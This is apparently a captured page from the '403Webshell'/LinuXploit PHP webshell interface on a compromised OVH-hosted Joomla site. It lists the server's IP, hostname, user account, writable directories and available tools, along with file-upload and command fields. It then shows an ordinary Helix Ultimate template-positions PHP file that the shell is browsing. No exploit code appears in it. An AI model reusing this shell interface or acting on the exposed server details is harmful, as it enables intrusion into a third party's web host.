403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.101
Web Server : Apache
System : Linux webm005.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : bsiadvisil ( 110003)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bsiadvisil/old/build/plugins/system/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bsiadvisil/old/build/plugins/system/fields/helixpositions.php
<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2018 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die ();

require_once dirname(__DIR__) . '/platform/helper.php';

use HelixUltimate\Helper\Helper as Helper;

class JFormFieldHelixpositions extends JFormField
{
  protected $type = 'Helixpositions';

  protected function getInput()
  {
    $html = array();
    $attr = '';
    $input  = \JFactory::getApplication()->input;
    $style_id = (int) $input->get('id', 0, 'INT');
    $style = Helper::getTemplateStyle($style_id);

    $db = \JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName('position'));
    $query->from($db->quoteName('#__modules'));
    $query->where($db->quoteName('client_id') . ' = 0');
    $query->where($db->quoteName('published') . ' = 1');
    $query->group('position');
    $query->order('position ASC');
    $db->setQuery($query);
    $dbpositions = $db->loadObjectList();

    $templateXML = \JPATH_SITE.'/templates/'.$style->template.'/templateDetails.xml';
    $template = simplexml_load_file( $templateXML );
    $options = array();

    foreach($dbpositions as $positions)
    {
      $options[] = $positions->position;
    }

    foreach($template->positions[0] as $position)
    {
      $options[] =  (string) $position;
    }

    ksort($options);

    $opts = array_unique($options);

    $options = array();

    foreach ($opts as $opt) {
      $options[$opt] = $opt;
    }

    $html[] = \JHtml::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id);

    return implode($html);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit